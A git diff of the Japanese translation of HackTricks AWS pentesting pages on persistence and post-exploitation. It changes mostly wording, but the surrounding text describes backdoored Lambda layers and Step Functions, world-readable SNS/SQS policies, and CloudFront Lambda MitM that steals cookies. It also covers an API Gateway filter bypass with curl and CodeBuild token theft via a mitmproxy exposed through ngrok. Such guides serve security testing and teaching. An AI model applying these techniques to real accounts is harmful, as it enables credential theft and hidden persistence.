- **自分のアカウントに** **レイヤー**を**作成**し、**被害者アカウントに**そのレイヤーを使用するアクセスを**与え**、**被害者のLambdaに**その**レイヤーを**設定し、**権限を削除**します。
-- **Lambda**は**レイヤーを使用し続け**、**被害者は**レイヤーのコードを**ダウンロードする簡単な方法がありません**(lambda内でリバースシェルを取得することを除いて)
+- **Lambda**は**レイヤーを使用し続け**、**被害者は**レイヤーのコードを**ダウンロードする簡単な方法がありません**(lambda内でrev shellを取得することを除いて)
- 被害者は**`aws lambda list-layers`**を使用して**外部レイヤーを確認できません**。
```bash
# Upload backdoor layer
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
index a5c4d6bc6..7d4fd5e12 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
@@ -28,6 +28,6 @@
- あなたのIPを指すサブドメインを作成し、**サブドメインテイクオーバー**を行う
- ドメインから**メール**を送信できるようにする**SPF**レコードを作成する
-- **メインドメインのIPを自分のものに設定し、正当なものへの**MitM**を行う
+- **メインドメインのIPを自分のものに設定し**、あなたのIPから正当なものへの**MitM**を実行する
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
index 965088a61..854afa4d9 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
@@ -4,7 +4,7 @@
## RDS
-詳細については、以下を確認してください:
+詳細については、次を確認してください:
{{#ref}}
../aws-services/aws-relational-database-rds-enum.md
@@ -18,7 +18,7 @@ aws rds modify-db-instance --db-instance-identifier target-instance --publicly-a
```
### DB内に管理者ユーザーを作成する
-攻撃者は**DB内にユーザーを作成する**ことができるため、マスターユーザーのパスワードが変更されても**データベースへのアクセスを失うことはありません**。
+攻撃者は単に**DB内にユーザーを作成する**ことができるため、マスターユーザーのパスワードが変更されても**データベースへのアクセスを失うことはありません**。
### スナップショットを公開する
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
index 8add98db6..9110cf6ea 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
@@ -12,14 +12,14 @@
### KMS クライアントサイド暗号化
-暗号化プロセスが完了すると、ユーザーは KMS API を使用して新しいキー (`aws kms generate-data-key`) を生成し、**生成された暗号化キーをファイルのメタデータ内に保存します** ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys))。これにより、復号化が行われるときに再度 KMS を使用して復号化できます:
+暗号化プロセスが完了すると、ユーザーは KMS API を使用して新しいキーを生成します(`aws kms generate-data-key`)そして、**生成された暗号化キーをファイルのメタデータ内に保存します**([python コード例](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys))ので、復号化が行われるときに再度 KMS を使用して復号化できます:
.png)
-したがって、攻撃者はメタデータからこのキーを取得し、KMS (`aws kms decrypt`) を使用して復号化し、情報を暗号化するために使用されたキーを取得できます。この方法で、攻撃者は暗号化キーを持ち、そのキーが他のファイルを暗号化するために再利用されている場合、使用することができます。
+したがって、攻撃者はメタデータからこのキーを取得し、KMS(`aws kms decrypt`)を使用して情報を暗号化するために使用されたキーを取得できます。この方法で、攻撃者は暗号化キーを持ち、そのキーが他のファイルを暗号化するために再利用される場合、使用することができます。
### S3 ACL の使用
-通常、バケットの ACL は無効になっていますが、十分な権限を持つ攻撃者は、それらを悪用することができます(有効な場合や攻撃者が有効にできる場合)ので、S3 バケットへのアクセスを維持できます。
+通常、バケットの ACL は無効になっていますが、十分な権限を持つ攻撃者はそれらを悪用することができます(有効な場合や攻撃者がそれらを有効にできる場合)ので、S3 バケットへのアクセスを維持できます。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
index 7f09f6a4c..b49b56ee6 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
@@ -4,7 +4,7 @@
## Secrets Manager
-詳細については、次を確認してください:
+詳細については、以下を確認してください:
{{#ref}}
../aws-services/aws-secrets-manager-enum.md
@@ -12,13 +12,13 @@
### リソースポリシーを介して
-リソースポリシーを介して**外部アカウントに秘密へのアクセスを付与する**ことが可能です。詳細については[**Secrets Manager Privescページ**](../aws-privilege-escalation/aws-secrets-manager-privesc.md)を確認してください。**秘密にアクセスする**には、外部アカウントも**秘密を暗号化するKMSキーへのアクセスが必要**です。
+リソースポリシーを介して**外部アカウントにシークレットへのアクセスを付与する**ことが可能です。詳細については[**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md)を確認してください。**シークレットにアクセスする**には、外部アカウントも**シークレットを暗号化しているKMSキーへのアクセスが必要**です。
### Secrets Rotate Lambdaを介して
-秘密を自動的に**回転させる**ために、設定された**Lambda**が呼び出されます。攻撃者が**コードを変更**できれば、直接**新しい秘密を自分に流出させる**ことができます。
+シークレットを自動的に**ローテーション**するために、設定された**Lambda**が呼び出されます。攻撃者が**コードを変更**できれば、直接**新しいシークレットを自分に流出**させることができます。
-このようなアクションのためのLambdaコードは次のようになります:
+このようなアクションのためのlambdaコードは次のようになります:
```python
import boto3
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
index d40f52514..eb859b947 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
@@ -4,7 +4,7 @@
## SNS
-詳細については、以下を確認してください:
+詳細については、次を確認してください:
{{#ref}}
../aws-services/aws-sns-enum.md
@@ -12,8 +12,8 @@
### Persistence
-**SNSトピック**を作成する際には、IAMポリシーで**誰が読み書きするアクセス権を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することも可能です。\
-以下のポリシーは、AWS内のすべての人に**`MySNS.fifo`**というSNSトピックへの読み書きアクセスを与えます:
+**SNSトピック**を作成する際には、IAMポリシーで**誰が読み書きする権限を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することも可能です。\
+次のポリシーは、AWS内のすべての人に**`MySNS.fifo`**というSNSトピックへの読み書きアクセスを与えます:
```json
{
"Version": "2008-10-17",
@@ -63,11 +63,11 @@
]
}
```
-### Create Subscribers
+### サブスクライバーの作成
-すべてのトピックからすべてのメッセージを引き続き抽出するために、攻撃者は**すべてのトピックのためにサブスクライバーを作成する**ことができます。
+すべてのトピックからすべてのメッセージを引き続き抽出するために、攻撃者は**すべてのトピックのサブスクライバーを作成**することができます。
-**トピックがFIFOタイプの場合**、**SQS**プロトコルを使用するサブスクライバーのみが使用できます。
+**トピックがFIFOタイプ**の場合、**SQS**プロトコルを使用するサブスクライバーのみが使用できます。
```bash
aws sns subscribe --region \
--protocol http \
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
index 2a4202b2c..215f6ee81 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
@@ -12,8 +12,8 @@
### リソースポリシーの使用
-SQSでは、IAMポリシーで**誰が読み書きするアクセス権を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することも可能です。\
-次のポリシーは、AWS内のすべての人に**MyTestQueue**というキュー内のすべてのものへのアクセスを許可します:
+SQSでは、IAMポリシーで**誰が読み書きするアクセス権を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することが可能です。\
+次のポリシーは、AWS内のすべての人に**MyTestQueue**というキュー内のすべてのアクセスを許可します:
```json
{
"Version": "2008-10-17",
@@ -32,6 +32,6 @@ SQSでは、IAMポリシーで**誰が読み書きするアクセス権を持っ
}
```
> [!NOTE]
-> 新しいメッセージがキューに追加されるたびに、**攻撃者のアカウントでLambdaをトリガーすることもできます**(再度追加する必要があります)。これに関しては、以下の指示に従ってください: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+> 新しいメッセージがキューに追加されるたびに、**攻撃者のアカウントでLambdaをトリガーすることもできます**(再度追加する必要があります)。これについては、次の手順に従ってください: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
index 3bd0aae28..ccdb61c5f 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
@@ -1 +1 @@
-# AWS - SSM Perssitence
+# AWS - SSM 永続性
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
index 95a3a977b..69056ad9f 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
@@ -12,7 +12,7 @@
### ステップ関数のバックドア
-ステップ関数にバックドアを仕掛けて、実行されるたびに悪意のあるステップを実行するようにします。
+ステップ関数にバックドアを仕掛けて、持続性のトリックを実行させることで、実行されるたびに悪意のあるステップを実行させることができます。
### バックドアリングエイリアス
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
index 92ed47c0c..dbfd5d584 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
@@ -12,7 +12,7 @@
### Assume role token
-一時的なトークンはリストできないため、アクティブな一時的トークンを維持することが持続性を維持する方法です。
+一時的なトークンはリストできないため、アクティブな一時トークンを維持することが持続性を保つ方法です。
aws sts get-session-token --duration-seconds 129600
@@ -22,13 +22,13 @@ aws sts get-session-token \
--token-code <code-from-token>
# ハードウェアデバイス名は通常、デバイスの背面にある番号、例えばGAHT12345678です
-# SMSデバイス名はAWSのARN、例えばarn:aws:iam::123456789012:sms-mfa/usernameです
-# 仮想デバイス名はAWSのARN、例えばarn:aws:iam::123456789012:mfa/usernameです
+# SMSデバイス名はAWSのARN、例えばarn:aws:iam::123456789012:sms-mfa/username
+# 仮想デバイス名はAWSのARN、例えばarn:aws:iam::123456789012:mfa/username
### Role Chain Juggling
-[**ロールチェイニングは認められたAWSの機能です**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining)が、しばしばステルス持続性を維持するために利用されます。これは、**あるロールを引き受け、その後別のロールを引き受ける**能力を含み、**循環的な方法**で最初のロールに戻る可能性があります。ロールが引き受けられるたびに、資格情報の有効期限フィールドが更新されます。したがって、2つのロールが互いに引き受けるように設定されている場合、この設定は資格情報の永続的な更新を可能にします。
+[**ロールチェイニングは認められたAWSの機能です**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining)が、しばしばステルス持続性を維持するために利用されます。これは、**あるロールを引き受け、その後別のロールを引き受ける**能力を含み、**循環的に**最初のロールに戻る可能性があります。ロールが引き受けられるたびに、資格情報の有効期限フィールドが更新されます。したがって、2つのロールが互いに引き受けるように設定されている場合、この設定は資格情報の永続的な更新を可能にします。
この[**ツール**](https://github.com/hotnops/AWSRoleJuggler/)を使用してロールチェイニングを維持できます:
```bash
@@ -40,7 +40,7 @@ optional arguments:
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
```
> [!CAUTION]
-> 注意してください、そのGitHubリポジトリの[find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py)スクリプトは、ロールチェーンが構成できるすべての方法を見つけるわけではありません。
+> 注意してください、そのGitHubリポジトリの[find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py)スクリプトは、ロールチェーンが構成されるすべての方法を見つけるわけではありません。
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
index e2fe70e0e..02eb4c550 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
@@ -10,37 +10,37 @@
../aws-services/aws-api-gateway-enum.md
{{#endref}}
-### 公開されていないAPIへのアクセス
+### 未公開APIへのアクセス
[https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) でサービス `com.amazonaws.us-east-1.execute-api` を使用してエンドポイントを作成し、アクセス可能なネットワーク(EC2マシン経由の可能性あり)でエンドポイントを公開し、すべての接続を許可するセキュリティグループを割り当てます。\
その後、EC2マシンからエンドポイントにアクセスできるようになり、以前は公開されていなかったゲートウェイAPIを呼び出すことができます。
-### リクエストボディのパススルーをバイパスする
+### リクエストボディのパススルーをバイパス
この技術は[**このCTFの解説**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp)で見つかりました。
[AWSのドキュメント](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html)の`PassthroughBehavior`セクションに示されているように、デフォルトでは、**`WHEN_NO_MATCH`**の値は、リクエストの**Content-Type**ヘッダーをチェックする際に、リクエストを変換せずにバックエンドに渡します。
-したがって、CTFではAPI Gatewayに統合テンプレートがあり、`Content-Type: application/json`でリクエストが送信されたときに**フラグが応答で流出するのを防いでいました**:
+したがって、CTFではAPI Gatewayに統合テンプレートがあり、`Content-Type: application/json`でリクエストが送信されたときに**フラグが応答で流出するのを防いでいました**。
```yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
```
-しかし、**`Content-type: text/json`**を使用してリクエストを送信すると、そのフィルターを回避できます。
+しかし、**`Content-type: text/json`**を持つリクエストを送信することで、そのフィルターを回避できます。
-最後に、API Gatewayが`Get`と`Options`のみを許可していたため、ボディにクエリを含むPOSTリクエストを送信し、ヘッダー`X-HTTP-Method-Override: GET`を使用することで、任意のdynamoDBクエリを制限なしに送信することが可能でした:
+最後に、API Gatewayは`Get`と`Options`のみを許可していたため、ボディにクエリを含むPOSTリクエストを送信し、ヘッダー`X-HTTP-Method-Override: GET`を使用することで、任意のdynamoDBクエリを制限なしに送信することが可能でした:
```bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
```
### Usage Plans DoS
-**列挙**セクションでは、**使用プラン**を**取得する**方法を確認できます。キーを持っていて、それが**月あたりX回の使用に制限されている**場合、**単に使用してDoSを引き起こす**ことができます。
+**Enumeration** セクションでは、キーの **使用プラン** を **取得する方法** を確認できます。キーがあり、**月あたりの使用回数がX回に制限されている**場合、**それを使用してDoSを引き起こすことができます**。
-**APIキー**は、**`x-api-key`**という**HTTPヘッダー**に**含める**必要があります。
+**API Key** は、**`x-api-key`** という **HTTPヘッダー** に **含める** 必要があります。
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
-`apigateway:UpdateGatewayResponse`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**既存のGateway Responseを変更して、機密情報を漏洩させるカスタムヘッダーやレスポンステンプレートを含めたり、悪意のあるスクリプトを実行させたりすることができます**。
+`apigateway:UpdateGatewayResponse` および `apigateway:CreateDeployment` の権限を持つ攻撃者は、**既存のGateway Responseを変更して、機密情報を漏洩させるカスタムヘッダーやレスポンステンプレートを含めたり、悪意のあるスクリプトを実行させたりすることができます**。
```bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
@@ -96,7 +96,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
-`apigateway:UpdateRestApi`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**API Gateway REST APIの設定を変更してログを無効にしたり、最小TLSバージョンを変更したりすることができ、APIのセキュリティを弱める可能性があります**。
+`apigateway:UpdateRestApi`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**API Gateway REST APIの設定を変更してログ記録を無効にしたり、最小TLSバージョンを変更したりすることができ、APIのセキュリティを弱める可能性があります**。
```bash
API_ID="your-api-id"
@@ -113,7 +113,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
-`apigateway:CreateApiKey`、`apigateway:UpdateApiKey`、`apigateway:CreateUsagePlan`、および `apigateway:CreateUsagePlanKey` の権限を持つ攻撃者は、**新しいAPIキーを作成し、それらを使用プランに関連付け、これらのキーを使用してAPIへの未承認のアクセスを行うことができます**。
+`apigateway:CreateApiKey`、`apigateway:UpdateApiKey`、`apigateway:CreateUsagePlan`、および`apigateway:CreateUsagePlanKey`の権限を持つ攻撃者は、**新しいAPIキーを作成し、それらを使用プランに関連付け、これらのキーを使用してAPIへの未承認のアクセスを行うことができます**。
```bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
@@ -127,6 +127,6 @@ aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_K
**潜在的な影響**: APIリソースへの不正アクセス、セキュリティコントロールのバイパス。
> [!NOTE]
-> テストが必要です
+> テストが必要
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
index 765b39731..67c298cbc 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
@@ -12,7 +12,7 @@
### 中間者攻撃
-この[**ブログ記事**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)では、**Lambda**を追加(または既に使用されている場合は修正)して、**CloudFrontを通じた通信**でユーザー情報(セッション**クッキー**など)を**盗む**ことや、**レスポンス**を**変更する**(悪意のあるJSスクリプトを注入する)いくつかの異なるシナリオが提案されています。
+この[**ブログ投稿**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)では、**Lambda**を**CloudFront**を通じた**通信**に追加(または既に使用されている場合は変更)することで、ユーザー情報(セッション**クッキー**など)を**盗む**ことと、**応答**を**変更**する(悪意のあるJSスクリプトを注入する)いくつかの異なるシナリオが提案されています。
#### シナリオ 1: CloudFrontがバケットのHTMLにアクセスするように設定されているMitM
@@ -20,12 +20,12 @@
- CloudFrontディストリビューションに**関連付け**ます。
- **イベントタイプを「Viewer Response」に設定**します。
-レスポンスにアクセスすることで、ユーザーのクッキーを盗み、悪意のあるJSを注入できます。
+応答にアクセスすることで、ユーザーのクッキーを盗み、悪意のあるJSを注入できます。
#### シナリオ 2: CloudFrontが既にlambda関数を使用しているMitM
-- 機密情報を盗むためにlambda関数の**コードを修正**します。
+- 機密情報を盗むためにlambda関数の**コードを変更**します。
-このシナリオを再現するための[**tfコードはこちらで確認できます**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main)。
+このシナリオを再現するための[**tfコードはこちら**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main)で確認できます。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
index d9c87d340..a455dd6c5 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
@@ -1,4 +1,4 @@
-# AWS - CodeBuild Post Exploitation
+# AWS - CodeBuild ポストエクスプロイテーション
{{#include ../../../../banners/hacktricks-training.md}}
@@ -12,23 +12,23 @@
### シークレットの確認
-Github、Gitlab、またはBitbucketに接続するためにCodebuildに設定された資格情報が、個人トークン、パスワード、またはOAuthトークンアクセスの形式である場合、これらの**資格情報はシークレットマネージャーにシークレットとして保存されます**。\
+もし認証情報がCodebuildに設定されてGithub、Gitlab、またはBitbucketに接続するための個人トークン、パスワード、またはOAuthトークンアクセスの形で設定されている場合、これらの**認証情報はシークレットマネージャーにシークレットとして保存されます**。\
したがって、シークレットマネージャーを読み取るアクセス権があれば、これらのシークレットを取得し、接続されたプラットフォームにピボットすることができます。
{{#ref}}
../../aws-privilege-escalation/aws-secrets-manager-privesc.md
{{#endref}}
-### CodeBuildリポジトリアクセスの悪用
+### CodeBuild リポジトリアクセスの悪用
-**CodeBuild**を構成するには、使用するコードリポジトリへの**アクセスが必要です**。このコードをホストしているプラットフォームはいくつかあります:
+**CodeBuild**を構成するためには、使用するコードリポジトリへの**アクセスが必要です**。このコードをホストしているプラットフォームはいくつかあります:
.png)
-**CodeBuildプロジェクトは、設定されたソースプロバイダーへのアクセスを持っている必要があります**。これは**IAMロール**またはgithub/bitbucketの**トークンまたはOAuthアクセス**を介して行われます。
+**CodeBuildプロジェクトは、設定されたソースプロバイダーへのアクセスを持っている必要があります**。これは**IAMロール**を介して、またはgithub/bitbucketの**トークンまたはOAuthアクセス**を介して行われます。
-**CodeBuildで権限が昇格した攻撃者**は、この設定されたアクセスを悪用して、設定されたリポジトリのコードや、設定された資格情報がアクセスできる他のリポジトリを漏洩させることができます。\
-これを行うには、攻撃者は単に**設定された資格情報がアクセスできる各リポジトリのリポジトリURLを変更する必要があります**(awsのウェブサイトがすべてをリストアップします):
+**CodeBuild**で**昇格した権限を持つ攻撃者**は、この設定されたアクセスを悪用して、設定されたリポジトリのコードや、設定された認証情報がアクセスできる他のリポジトリを漏洩させることができます。\
+これを行うために、攻撃者は単に**設定された認証情報がアクセスできる各リポジトリのリポジトリURLを変更する必要があります**(awsのウェブサイトがすべてをリストアップします):
.png)
@@ -40,7 +40,7 @@ Github、Gitlab、またはBitbucketに接続するためにCodebuildに設定
### AWS CodeBuildからのアクセス・トークンの漏洩
-CodeBuildでGithubのようなプラットフォームに与えられたアクセスを漏洩させることができます。外部プラットフォームへのアクセスが与えられたかどうかを確認してください:
+CodeBuildで与えられたアクセスをGithubなどのプラットフォームに漏洩させることができます。外部プラットフォームへのアクセスが与えられているか確認してください:
```bash
aws codebuild list-source-credentials
```
@@ -71,6 +71,6 @@ aws codebuild untag-resource --resource-arn --tag-keys
```sql
aws codebuild delete-source-credentials --arn
```
-**潜在的な影響**: ソース認証情報の削除により、影響を受けたリポジトリに依存するアプリケーションの正常な機能が妨げられる。
+**潜在的な影響**: ソース認証情報の削除により、影響を受けたリポジトリに依存するアプリケーションの正常な機能が妨げられること。
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index ab0a44ebb..a81180930 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -10,19 +10,19 @@ aws codebuild list-source-credentials
```
### Via Docker Image
-もし、例えばGithubへの認証がアカウントに設定されていることがわかった場合、Codebuildに**特定のDockerイメージ**を使用させてプロジェクトのビルドを実行させることで、その**アクセス**(**GHトークンまたはOAuthトークン**)を**抽出**することができます。
+アカウントに対して例えばGithubへの認証が設定されていることがわかった場合、Codebuildに**特定のdockerイメージ**を使用させてプロジェクトのビルドを実行させることで、その**アクセス**(**GHトークンまたはOAuthトークン**)を**抽出**することができます。
-この目的のために、**新しいCodebuildプロジェクトを作成**するか、既存のものの**環境**を変更して**Dockerイメージ**を設定することができます。
+この目的のために、**新しいCodebuildプロジェクトを作成**するか、既存のプロジェクトの**環境**を変更して**Dockerイメージ**を設定することができます。
-使用できるDockerイメージは[https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)です。これは、**env変数`https_proxy`**、**`http_proxy`**、および**`SSL_CERT_FILE`**を設定する非常に基本的なDockerイメージです。これにより、**`https_proxy`**および**`http_proxy`**で指定されたホストのほとんどのトラフィックを傍受し、**`SSL_CERT_FILE`**で指定されたSSL CERTを信頼することができます。
+使用できるDockerイメージは[https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)です。これは非常に基本的なDockerイメージで、**env変数`https_proxy`**、**`http_proxy`**、および**`SSL_CERT_FILE`**を設定します。これにより、**`https_proxy`**および**`http_proxy`**で指定されたホストのほとんどのトラフィックを傍受し、**`SSL_CERT_FILE`**で指定されたSSL CERTを信頼することができます。
1. **自分のDocker MitMイメージを作成してアップロード**
-- リポジトリの指示に従って、プロキシIPアドレスを設定し、SSL証明書を設定して**Dockerイメージをビルド**します。
-- メタデータエンドポイントへのリクエストを傍受しないように、**`http_proxy`を設定しないでください**。
-- **`ngrok`**を使用して、`ngrok tcp 4444`のようにプロキシをホストに設定できます。
+- リポジトリの指示に従ってプロキシIPアドレスを設定し、SSL証明書を設定して**dockerイメージをビルド**します。
+- メタデータエンドポイントへのリクエストを傍受しないように**`http_proxy`を設定しないでください**。
+- **`ngrok`**を使用してプロキシをホストに設定することができます(例:`ngrok tcp 4444`)。
- Dockerイメージがビルドされたら、**パブリックリポジトリにアップロード**します(Dockerhub、ECR...)。
2. **環境を設定**
-- **新しいCodebuildプロジェクトを作成**するか、既存のものの環境を**変更**します。
+- **新しいCodebuildプロジェクトを作成**するか、既存のプロジェクトの環境を**変更**します。
- プロジェクトを**以前に生成したDockerイメージ**を使用するように設定します。
.png)
@@ -36,7 +36,7 @@ mitmproxy --listen-port 4444 --allow-hosts "github.com"
> [!TIP]
> 使用された**mitmproxyのバージョンは9.0.1**であり、バージョン10ではこれが機能しない可能性があると報告されています。
-4. **ビルドを実行し、認証情報をキャプチャする**
+4. **ビルドを実行し、資格情報をキャプチャする**
- **Authorization**ヘッダーにトークンが表示されます:
@@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2
```
### Via insecureSSL
-**Codebuild** プロジェクトには、APIからのみ変更できるウェブに隠された **`insecureSsl`** という設定があります。\
-これを有効にすると、Codebuild はプラットフォームが提供する証明書を **確認せずに** リポジトリに接続できるようになります。
+**Codebuild** プロジェクトには、ウェブ上では隠されている **`insecureSsl`** という設定があり、APIからのみ変更できます。\
+これを有効にすると、Codebuildはプラットフォームが提供する証明書を **確認せずに** リポジトリに接続できるようになります。
- まず、次のようなもので現在の設定を列挙する必要があります:
```bash
aws codebuild batch-get-projects --name
```
-- その後、収集した情報を使ってプロジェクト設定の **`insecureSsl`** を **`True`** に更新できます。以下は私がプロジェクトを更新した例で、最後に **`insecureSsl=True`** があることに注意してください(これは収集した設定から変更する必要がある唯一の項目です)。
-- さらに、tcp ngrokを指す環境変数 **http_proxy** と **https_proxy** も追加してください:
+- その後、収集した情報を使用してプロジェクト設定の **`insecureSsl`** を **`True`** に更新できます。以下は私がプロジェクトを更新した例で、最後に **`insecureSsl=True`** があることに注意してください(これは収集した設定から変更する必要がある唯一の項目です)。
+- さらに、tcp ngrokを指す環境変数 **http_proxy** と **https_proxy** も追加してください。
```bash
aws codebuild update-project --name \
--source '{
@@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- 最後に、**プロジェクトをビルド**をクリックすると、**認証情報**が**平文**(base64)でmitmポートに**送信されます**:
